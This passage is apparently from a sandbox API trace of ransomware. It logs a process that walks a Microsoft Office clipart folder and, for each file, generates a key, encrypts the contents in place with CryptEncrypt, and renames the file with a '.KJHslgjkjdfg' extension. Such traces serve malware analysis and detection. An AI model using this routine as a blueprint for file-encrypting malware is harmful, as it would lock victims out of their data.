lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.813] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0188.815] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.815] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.815] GetProcessHeap () returned 0x2a0000 [0188.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.815] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.816] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.816] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.816] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.816] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.816] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.816] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.816] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.816] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.816] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.816] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.816] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x30f2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x30f2, lpOverlapped=0x0) returned 1 [0188.817] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3100, dwBufLen=0x3100 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3100) returned 1 [0188.817] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.817] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3100, lpOverlapped=0x0) returned 1 [0188.818] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.818] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x31d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.818] SetEndOfFile (hFile=0x114) returned 1 [0188.821] GetProcessHeap () returned 0x2a0000 [0188.821] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.821] GetProcessHeap () returned 0x2a0000 [0188.821] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.821] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif.kjhslgjkjdfg")) returned 1 [0188.823] CloseHandle (hObject=0x114) returned 1 [0188.823] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c45, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02897J.JPG", cAlternateFileName="")) returned 1 [0188.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.825] GetProcessHeap () returned 0x2a0000 [0188.825] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.825] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.825] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.825] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0188.828] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.828] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.828] GetProcessHeap () returned 0x2a0000 [0188.828] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.828] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.828] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.828] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.828] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.828] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.829] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.829] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.829] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.829] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.829] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.829] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.829] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c45, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c45, lpOverlapped=0x0) returned 1 [0188.830] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c50, dwBufLen=0x3c50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c50) returned 1 [0188.830] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.830] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3c50, lpOverlapped=0x0) returned 1 [0188.831] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.831] SetEndOfFile (hFile=0x114) returned 1 [0188.833] GetProcessHeap () returned 0x2a0000 [0188.833] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.833] GetProcessHeap () returned 0x2a0000 [0188.833] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg.kjhslgjkjdfg")) returned 1 [0188.835] CloseHandle (hObject=0x114) returned 1 [0188.835] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f66600, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0f66600, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x3c76, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03011U.BMP", cAlternateFileName="")) returned 1 [0188.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.836] GetProcessHeap () returned 0x2a0000 [0188.836] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.836] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.837] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.837] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0188.839] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.839] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.839] GetProcessHeap () returned 0x2a0000 [0188.839] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.839] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.839] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.839] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.839] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.839] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.839] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.839] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.839] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.839] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.839] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.839] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.839] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c76, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c76, lpOverlapped=0x0) returned 1 [0188.840] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c80, dwBufLen=0x3c80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c80) returned 1 [0188.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.840] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3c80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3c80, lpOverlapped=0x0) returned 1 [0188.841] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.841] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.841] SetEndOfFile (hFile=0x114) returned 1 [0188.843] GetProcessHeap () returned 0x2a0000 [0188.843] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.844] GetProcessHeap () returned 0x2a0000 [0188.844] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.844] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp.kjhslgjkjdfg")) returned 1 [0188.846] CloseHandle (hObject=0x114) returned 1 [0188.846] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa55b9c00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa55b9c00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03012U.BMP", cAlternateFileName="")) returned 1 [0188.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.847] GetProcessHeap () returned 0x2a0000 [0188.847] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.847] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.847] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0188.850] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.850] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.850] GetProcessHeap () returned 0x2a0000 [0188.850] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.850] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.850] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.850] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.850] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.850] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.851] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.851] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.851] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.851] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.851] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.851] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.851] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1016, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1016, lpOverlapped=0x0) returned 1 [0188.852] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1020, dwBufLen=0x1020 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1020) returned 1 [0188.852] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.852] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1020, lpOverlapped=0x0) returned 1 [0188.852] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.852] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.852] SetEndOfFile (hFile=0x114) returned 1 [0188.855] GetProcessHeap () returned 0x2a0000 [0188.855] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.855] GetProcessHeap () returned 0x2a0000 [0188.855] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp.kjhslgjkjdfg")) returned 1 [0188.857] CloseHandle (hObject=0x114) returned 1 [0188.857] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44dfa00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc44dfa00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x49d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03014_.GIF", cAlternateFileName="")) returned 1 [0188.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.858] GetProcessHeap () returned 0x2a0000 [0188.858] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.858] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.859] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0188.861] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.861] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.861] GetProcessHeap () returned 0x2a0000 [0188.861] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.861] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.861] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.861] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.861] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, 